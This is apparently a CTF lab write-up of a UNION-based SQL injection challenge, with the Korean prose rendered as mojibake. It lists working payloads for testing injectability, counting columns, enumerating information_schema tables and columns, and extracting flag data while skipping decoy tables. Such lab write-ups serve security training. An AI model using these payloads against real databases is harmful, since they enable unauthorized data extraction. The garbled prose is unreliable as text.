[SegFault] (SQLi)
SQL Injection 2.
์ง์ง! ๋ฐ์ดํฐ๋ฅผ ์ฐพ์๋!
๋ฌธ์ ํ์

์์ ํ์ด์ง์ ๋ค์ด๊ฐ๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.

์ฐ์ ๊ฒ์์ฐฝ์ ๋ํ์ฌ ์ ๋ ฅ ํ ์คํธ๋ฅผ ์งํํด๋ณธ๋ค.
SQL ๊ตฌ์กฐ ํ์ธ
์ฐ์ placeholder๋ก ์กด์ฌํ๋ normaltic์ ์ ๋ ฅํด๋ณธ๋ค.

์์ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋์ค๋ ๊ฒ์ ํ์ธํ๋๋ฐ ์ฌ๊ธฐ์ ๋ถ๋ถ์ ์ผ๋ก ์ ๋ ฅํ์ ๋๋ ๊ฒฐ๊ณผ๊ฐ ๋์ค๋์ง ํ์ธํด๋ณธ๋ค.

๊ฒฐ๊ณผ๊ฐ ์์ ํ ๋์ผํ์ง๋ ์์ง๋ง ๊ฒฐ๊ณผ๊ฐ ๋์ค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
SQLi ๊ฐ๋ฅ ์ฌ๋ถ ํ์ธ
normaltic%' and '1%'='1

SQL Injection์ด ๊ฐ๋ฅํ ๊ฒ์ ํ์ธ ํ์ผ๋ฏ๋ก UNION SQLi ์ ์งํ ์ ์ฐจ์ ๋ฐ๋ผ ์งํํ๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
1. SQL Injection ๊ฐ๋ฅ ์ฌ๋ถ ํ๋จ
์์์ ํ์ธํ๊ธฐ ๋๋ฌธ์ ๋์ด๊ฐ๋ค.
2. Column ๊ฐ์ ํ์ ํ๊ธฐ
order by๋ฅผ ์ด์ฉํ์ฌ 1๋ถํฐ ๋์ ํด๋ณธ๋ค.

normaltic%'order by 1~6 # ๊น์ง๋ ๊ฒฐ๊ณผ๊ฐ ๋์จ๋ค.

7๋ถํฐ๋ ์๋๋ ๊ฒ์ ํ์ธํ์๊ณ , ์ปฌ๋ผ์ด ์ด 6๊ฐ์์ ํ์ธํ์๋ค.
3. ์ถ๋ ฅ๋๋ Column์ ์์น ์ฐพ๊ธฐ
์ด๋ค Column์ด ์ด๋ ๋ถ๋ถ์์ ์ถ๋ ฅ๋๋์ง ํ์ธํด์ผ ํ๋ค.
normaltic%' union select 1,2,3,4,5,6 #

์์ ๊ฒฐ๊ณผ๋ฅผ ๋ฐํ์ผ๋ก Info ๋ถ๋ถ์ 6๋ฒ์งธ ์ปฌ๋ผ์ด ๋ํ๋๊ณ ์์์ ํ์ธํ์๋ค. ๋ค๋ฅธ ์ปฌ๋ผ๋ค์ ์ถ๋ ฅ๋์ง ์๋ ๊ฒ์ผ๋ก ๋ณธ์ธ๋ค.
ID | Level | Rank Point | Info
| | | 6
๊ณต๊ฒฉ Format ์ค์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ 1~6์ ์ปฌ๋ผ ์ค 6๋ฒ์งธ๋ง ๋์ค๋ฏ๋ก ํด๋น ์์น์ ์ํ๋ SQL์ ์ฝ์ ํ๋ฉด ๋๋ค.
normaltic%' union select 1,2,3,4,5,_____ #
4. DB ์ด๋ฆ ํ์ธํ๊ธฐ
์ด๋ค TABLE๊ณผ COLUMN์ด ์๋์ง ์์๋ด๊ธฐ ์ํด ์ด๋ค DB๊ฐ ์กด์ฌํ๋์ง ๋ถํฐ ํ์ธํด์ผ ํ๋ค.
SELECT database()

normaltic%' union select 1,2,3,4,5,database() #
database() : sqli_5
5. Table ์ด๋ฆ ํ์ธํ๊ธฐ
์ด๋ค DB์ ๋ค์ด์๋์ง ํ์ธํ์ผ๋ ์ด๋ค COLUMN์ด ์๋์ง ํ์ธํ๊ธฐ ์ํด ์ด๋ค TABLE์ด ์๋์ง ํ์ธํด์ผ ํ๋ค.
๊ทธ ์ ์ ๋ช ๊ฐ์ TABLE์ ๊ฐ์ง๊ณ ์๋์ง ํ์ธํ๋ ๊ฒ์ ์ฐ์ ์ ํ๋ค.
count(TABLE_NAME)

' union select 1,2,3,4,5, count(TABLE_NAME) from information_schema.TABLES #
64
์์ ๊ฒฐ๊ณผ ์ด 64๊ฐ์ table์ด ์กด์ฌํ๋ค๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
์ปฌ๋ผ์ ๊ฒฝ์ฐ 0๋ถํฐ ์์ํ๊ธฐ ๋๋ฌธ์ 0 ~ 63 ์ 64๊ฐ๋ก ๊ตฌ์ฑ๋์ด ์๋ค๋ ๊ฒ์ ์๊ฐํด์ผํ๋ค.
limit๋ฅผ ์ด์ฉํ์ฌ ๊ฐ๊ฐ์ ์ด๋ฆ์ ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
' union select 1,2,3,4,5,table_name from information_schema.tables limit (0~63),1#
(phpmyadmin์์ ๋ณด๋ฉด ๊ธฐ๋ณธ์ ์ผ๋ก ์์ฑ๋๋ ํ ์ด๋ธ์ด 61๊ฐ)
์ถ๊ฐ๋ 2๊ฐ -> 61 + 2 = 63๊ฐ
00 : CHARACTER_SETS
01 : COLLATIONS
02 : COLLATION_CHARACTER_SET_APPLICABILITY
03 : COLUMNS
04 : COLUMN_PRIVILEGES
05 : ENGINES
06 : EVENTS
07 : FILES
08 : GLOBAL_STATUS
09 : GLOBAL_VARIABLES
10 : KEY_COLUMN_USAGE
11 : OPTIMIZER_TRACE
12 : PARAMETERS
13 : PARTITIONS
14 : PLUGINS
15 : PROCESSLIST
16 : PROFILING
17 : REFERENTIAL_CONSTRAINTS
18 : ROUTINES
19 : SCHEMATA
20 : SCHEMA_PRIVILEGES
21 : SESSION_STATUS
22 : SESSION_VARIABLES
23 : STATISTICS
24 : TABLES
25 : TABLESPACES
26 : TABLE_CONSTRAINTS
27 : TABLE_PRIVILEGES
28 : TRIGGERS
29 : USER_PRIVILEGES
30 : VIEWS
31 : INNODB_LOCKS
32 : INNODB_TRX
33 : INNODB_SYS_DATAFILES
34 : INNODB_FT_CONFIG
35 : INNODB_SYS_VIRTUAL
36 : INNODB_CMP
37 : INNODB_FT_BEING_DELETED
38 : INNODB_CMP_RESET
39 : INNODB_CMP_PER_INDEX
40 : INNODB_CMPMEM_RESET
41 : INNODB_FT_DELETED
42 : INNODB_BUFFER_PAGE_LRU
43 : INNODB_LOCK_WAITS
44 : INNODB_TEMP_TABLE_INFO
45 : INNODB_SYS_INDEXES
46 : INNODB_SYS_TABLES
47 : INNODB_SYS_FIELDS
48 : INNODB_CMP_PER_INDEX_RESET
49 : INNODB_BUFFER_PAGE
50 : INNODB_FT_DEFAULT_STOPWORD
51 : INNODB_FT_INDEX_TABLE
52 : INNODB_FT_INDEX_CACHE
53 : INNODB_SYS_TABLESPACES
54 : INNODB_METRICS
55 : INNODB_SYS_FOREIGN_COLS
56 : INNODB_CMPMEM
57 : INNODB_BUFFER_POOL_STATS
58 : INNODB_SYS_COLUMNS
59 : INNODB_SYS_FOREIGN
60 : INNODB_SYS_TABLESTATS
61 : flag_honey
62 : gam_user
63 : secret
64 - ๋ ์ด์ ์์
์ผ๋ฐ์ ์ผ๋ก๋ ์ด๋ ์ง๋ง, ๋ณธ ๋ฌธ์ ์์๋ ์ด๋ค DB์ ์กด์ฌํ๋์ง ์๊ณ ์๊ธฐ ๋๋ฌธ์ ๊ฐํธํ๊ฒ ๊ฐ๋ฅํ๋ค.
normaltic%' union select 1,2,3,4,5,count(table_name) from information_schema.tables where table_schema = 'sqli_5' #
์์ ๊ฒฝ์ฐ๋ ํด๋น DB ์ ์ฒด์ TABLE์ ์กฐํํ๊ฒ์ธ๋ฐ sqli_5์ ์กด์ฌํ๋ ๊ฒ๋ง ์๋ฉด ๋๋ฏ๋ก ์์ ๊ฐ์ด ํ์ธํ ์ ์๊ณ , ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.

sqli_5์๋ ์ด 3๊ฐ์ TABLE์ด ์กด์ฌํ๋ค๋ ๊ฒ์ ์ ์ ์๊ณ , ์ด๋ฅผ limit์ ์ด์ฉํ์ฌ ํ๋์ฉ ํ์ธํด์ค๋ค. (0~2)
(๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ ํ์ค์ฉ ๋ฐ์ ์ถ๋ ฅ๋์ง ์๊ธฐ ๋๋ฌธ์ ์ฌ์ ์ ๊ฐ์๋ฅผ ์ธ์ฃผ๊ณ (COUNT) ํ์ค์ฉ ์ถ๋ ฅํ์ฌ(limit) ํ์ธํด์ค์ผ ํ๋ค.)
normaltic%' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema = 'sqli_5' limit 0,1 #

์ฒซ๋ฒ์งธ TABLE์ flag_honey ์ด๋ค.
normaltic%' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema = 'sqli_5' limit 1,1 #

๋๋ฒ์งธ TABLE๋ game_user ์ด๋ค.
normaltic%' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema = 'sqli_5' limit 2,1 #

๋ง์ง๋ง์ผ๋ก ์ธ๋ฒ์งธ TABLE๋ secret์ด๋ค.
6. Column ์ด๋ฆ ํ์ธ
์์์ ์ด๋ค TABLE๋ค์ด ์กด์ฌํ๋์ง ํ์ธํ์๊ธฐ ๋๋ฌธ์ ๋ด๋ถ์ ์ด๋ค COLUMN์ด ์กด์ฌํ๋์ง ํ์ธํด์ผ ํ๋ค.
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ ํ์ค์ฉ ๋ฐ์ ์ถ๋ ฅ๋์ง ์์ผ๋ฏ๋ก ๊ฐ TABLE์ ์กด์ฌํ๋ COLUMN์ ๊ฐ์๋ ์ฌ์ ์ ํ์ธํ๋ ๊ฒ์ด ์ข์ ๋ณด์ธ๋ค.
์กด์ฌํ๋ TABLE
flag_honey
game_user
secret
์ฐ์ flag_honey ๋ถํฐ ํ์ธํด๋ณด์.

flag_honey์๋ ํ๋์ COLUMN ๋ฐ์ ์กด์ฌํ์ง ์๋๋ค.

normaltic%' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'flag_honey' #
flag
๋ค์์ game_user ๋ฅผ ํ์ธํด๋ณธ๋ค.

' union select 1,2,3,4,5, count(column_name) from information_schema.columns where table_name = 'gam_user' #
0
game_user TABLE์๋ COLUMN์ด ์กด์ฌํ์ง ์๋๋ค๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
๋ค์์ ๋ง์ง๋ง์ผ๋ก secret TABLE๋ฅผ ํ์ธํด๋ด์ผํ๋ค.

' union select 1,2,3,4,5, count(column_name) from information_schema.columns where table_name = 'secret' #
1
์ปฌ๋ผ์ด ๋ด๋ถ์ 1๊ฐ๋ง ์กด์ฌํ๋ค๋ ๊ฒ์ ํ์ธํ๋ค.

' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'secret' #
flag
๊ฐ๊ฐ์ TABLE ๋ด๋ถ์ ์กด์ฌํ๋ COLUMN์ ํ์ธํด๋ณธ ๊ฒฐ๊ณผ flag_honey, secret ์ด๋ ๊ฒ ๋๊ฐ์ TABLE์ flag๋ผ๋ COLUMN์ด ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ์๊ณ ์ด ๋๊ฐ์ COLUMN์ค ํ๋์ ๋ด๋ถ์ ์ํ๋ flag๊ฐ ์์ ๊ฒ์ผ๋ก ์์๋๋ค.
7. ๋ฐ์ดํฐ ์ถ๋ ฅ
์ด์ ์์์ ํ์ธํ flag_honey์ secret ๋๊ฐ์ TABLE ๋ด๋ถ์ flag์์ ๋ฐ์ดํฐ๋ฅผ ์ถ๋ ฅํด๋ณด์.
๋จผ์ ๊ฐ COLUMN ๋ด๋ถ์ ๋ช๊ฐ์ ๋ฐ์ดํฐ๊ฐ ์๋์ง ํ์ธํด๋ณธ๋ค.
flag_honey ๋ถํฐ ํ์ธํด๋ณธ๋ค.

1๊ฐ์ ๋ฐ์ดํฐ๊ฐ ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ๋ค. ๋ฐ์ดํฐ๋ฅผ ์ถ๋ ฅํด๋ณด์.

normaltic%' union select 1,2,3,4,5,flag from flag_honey #
kkkkkkk_Not Here!
ํจ์ ์นด๋์๋ค. ์์์ TABLE๊ณผ COLUMN๋ค์ ๊ฐ์๋ฅผ ํ์ธํ์ง ์๊ณ ์๋ค๋ฉด ๋ค์ ์ฒ์์ผ๋ก ๋์๊ฐ๋ ์์ค์ ๋ฐ๋ณต์์ ์ ํด์ผํ๋ค. ์ฌ์ ์ ๊ฐ์๋ฅผ ํ์ธํ๋ฉด์ ์ค๋ ๊ฒ์ ์ค์์ฑ์ ํ์ธํ๋ ์๊ฐ์ด๋ค.
๋ค์์ secret COLUMN ๋ด๋ถ์ ๋ฐ์ดํฐ ๊ฐ์๋ฅผ ํ์ธํด๋ณด์.

normaltic%' union select 1,2,3,4,5,count(flag) from secret #
2
secret COLUMN์๋ 2๊ฐ์ ๋ฐ์ดํฐ๊ฐ ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ๋ค. ์ฐจ๋ก๋๋ก ์ถ๋ ฅํด๋ณด์.

normaltic%' union select 1,2,3,4,5,flag from secret #
NONONO~~~~
์ฒซ๋ฒ์งธ ๋ฐ์ดํฐ๋ ๋๋ฏธ ๋ฐ์ดํฐ์๋ค. ๋ง์ง๋ง ๋๋ฒ์งธ ๋ฐ์ดํฐ๋ฅผ ํ์ธํด๋ณด์.

normaltic%' union select 1,2,3,4,5,flag from secret limit 1,1#
ํด๋น ๋ฐ์ดํฐ๊ฐ ์ํ๋ flag ๋ฐ์ดํฐ์๋ค.
์๊ฐํด๋ณผ ์
๋ณธ ๋ฌธ์ ์ ๊ฐ์ด ์ถ๋ ฅ๋๋ ์ค ์์ ๋ํ ์ ํ์ด ์๋ ๊ฒฝ์ฐ๊ฐ ์์ ์ ์๋ค.
๊ทธ๋ ๊ธฐ ๋๋ฌธ์ ๋ฌดํฑ๋๊ณ ํ์ธํ๋ ๊ฒ์ด ์๋๋ผ, ๊ฐ๊ฐ์ TABLE, COLUMN, DATA์ ๊ฐ์๋ฅผ ์ธ๋ ๊ฒ(COUNT)์ด ๊ท์ฐฎ๋๋ผ๋, ์คํ๋ ค ์์์ ๋ถํฐ ํ์ธํ๋ฉด์ ์ค๋ ๊ฒ์ด ๋ค๋ก ๋์๊ฐ๋ ๋ถ์์ฌ๋ฅผ ์ผ์ผํค์ง ์๊ณ ํ์คํ๊ฒ ํ์ธํ๋ ๋ฐฉ๋ฒ์ด๋ผ๋ ๊ฒ์ ์๊ฐํด์ผ ํ๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์